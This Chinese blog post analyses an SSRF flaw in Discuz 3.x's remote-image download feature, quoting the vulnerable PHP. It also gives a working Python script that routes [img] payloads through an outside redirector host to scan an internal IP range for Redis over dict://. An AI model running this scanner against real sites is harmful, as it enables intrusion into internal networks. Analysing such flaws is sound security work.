zoukankan      html  css  js  c++  java
  • discuz 3.x ssrf分析

    discuz 3.x版本ssrf漏洞分析

    • 漏洞促发点soucemoduleforumforum_ajax.php
      最后看到了这里
      $_GET['action']='downremoteimg'
      看名字看出应该是个远程下载图片的功能。
    $_GET['message'] = str_replace(array("
    ", "
    "), array($_GET['wysiwyg'] ? '<br />' : '', "\n"), $_GET['message']);
    	preg_match_all("/[img]s*([^[<
    ]+?)s*[/img]|[img=d{1,4}[x|\,]d{1,4}]s*([^[<
    ]+?)s*[/img]/is", $_GET['message'], $image1, PREG_SET_ORDER);
    	$temp = $aids = $existentimg = array();
    	if(is_array($image1) && !empty($image1)) {
    		foreach($image1 as $value) {
    			$temp[] = array(
    				'0' => $value[0],
    				'1' => trim(!empty($value[1]) ? $value[1] : $value[2])
    			);
    		}
    	}
    
    • preg_match_all会匹配完整的字符串把他输出到array[0]中然后array[1]中存放的是边界符里面的东西。本地测试一下
    <?php 
    $a="<script>alert('1')</script>";
    preg_match_all("|<[^>]+>(.*)</[^>]+>|", $a, $array, PREG_SET_ORDER); 
    print_r($array);
    ?>
    

    输出

    Array
    (
        [0] => Array
            (
                [0] => <script>alert('1')</script>
                [1] => alert('1')
            )
    
    )
    
    
    • 所以上面的代码$value[1]的值就是把边界去掉后中间的值。继续跟进的话看到了关键代码
    foreach($temp as $value) {
    			$imageurl = $value[1];
    			$hash = md5($imageurl);
    			//echo $imageurl;
    			if(strlen($imageurl)) {
    				$imagereplace['oldimageurl'][] = $value[0];
    				if(!isset($existentimg[$hash])) {
    					$existentimg[$hash] = $imageurl;
    					$attach['ext'] = $upload->fileext($imageurl);
    					echo $attach['ext'];
    					if(!$upload->is_image_ext($attach['ext'])) {
    						continue;
    					}
    					//echo $imageurl;
    					$content = '';
    					if(preg_match('/^(http://|.)/i', $imageurl)) {
    						$content = dfsockopen($imageurl);
    

    前面的fileext函数是匹配后缀必须为图片格式,下面看到了$content = dfsockopen($imageurl)我们跟进到这个函数,最后找到了这样的一段

    function _dfsockopen($url, $limit = 0, $post = '', $cookie = '', $bysocket = FALSE, $ip = '', $timeout = 15, $block = TRUE, $encodetype  = 'URLENCODE', $allowcurl = TRUE, $position = 0) {
    	$return = '';
    	$matches = parse_url($url);
    	$scheme = $matches['scheme'];
    	$host = $matches['host'];
    	$path = $matches['path'] ? $matches['path'].($matches['query'] ? '?'.$matches['query'] : '') : '/';
    	$port = !empty($matches['port']) ? $matches['port'] : 80;
    
    	if(function_exists('curl_init') && function_exists('curl_exec') && $allowcurl) {
    		$ch = curl_init();
    		$ip && curl_setopt($ch, CURLOPT_HTTPHEADER, array("Host: ".$host));
    		curl_setopt($ch, CURLOPT_URL, $scheme.'://'.($ip ? $ip : $host).':'.$port.$path);
    		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    		if($post) {
    			curl_setopt($ch, CURLOPT_POST, 1);
    			if($encodetype == 'URLENCODE') {
    				curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
    			} else {
    				parse_str($post, $postarray);
    				curl_setopt($ch, CURLOPT_POSTFIELDS, $postarray);
    			}
    		}
    
    
    import requests
    import time
    import requests.packages.urllib3
    requests.packages.urllib3.disable_warnings()
    import threading
    import Queue
    
    threads_count = 20
    scheme = 'dict'
    port = '6379'
    ip_block = '10.3'
    class WyWorker(threading.Thread):
    	def __init__(self,queue):
    		threading.Thread.__init__(self)
    		self.queue = queue
    	def run(self):
    		global lock
    		while True:
    			if self.queue.empty():
    				break
    			try:
    				url = self.queue.get_nowait()
    				starttime = time.time()
    				results= requests.get(url)
    				if time.time() - starttime > 4:
    					starttime2=time.time()
    					res = requests.get(url)
    					if time.time() - starttime2 > 4:
    						lock.acquire()
    						print url 
    						lock.release()
    			except requests.exceptions.ReadTimeout:
    				pass
    			except requests.exceptions.ConnectTimeout:
    				pass
    			except Exception, e:
    				break
    
    if __name__ == "__main__":
    	queue = Queue.Queue()
    	global lock
    	lock = threading.Lock()
    	for c in xrange(0,255):
    		for d in xrange(0,255):
    			ip = '{0}.{1}.{2}'.format(ip_block,c,d)
    			payload = 'http://115.159.115.41:2333/302.php?s={scheme}%26ip={ip}%26port={port}%26data=helo.jpg'.format(scheme=scheme,ip=ip,port=port)
    			url = "http://127.0.0.1/Discuz1.3/upload/forum.php?mod=ajax&action=downremoteimg&message=[img]{payload}[/img]".format(payload=payload)
    			queue.put(url)
    	threads = []
    	for i in xrange(threads_count):
    		threads.append(WyWorker(queue))
    	for t in threads:
    		t.start()
    	for t in threads:
    		t.join()
    
    

    其实这次自己审这个洞,发现还是熟悉各种漏洞的成因,注意用户的输入。这方面必须加强。

  • 相关阅读:
    BZOJ3997:[TJOI2015]组合数学(DP,Dilworth定理)
    BZOJ4807:車(组合数学,高精度)
    BZOJ4008:[HNOI2015]亚瑟王(DP,概率期望)
    BZOJ1499:[NOI2005]瑰丽华尔兹(DP,单调队列)
    洛谷1514 引水入城
    洛谷 1018 乘积最大
    八数码难题
    CODEVS 1069关押罪犯
    CODEVS 1067 机器翻译
    洛谷 P1417 烹调方案
  • 原文地址:https://www.cnblogs.com/wangshuwin/p/7656095.html
Copyright © 2011-2022 走看看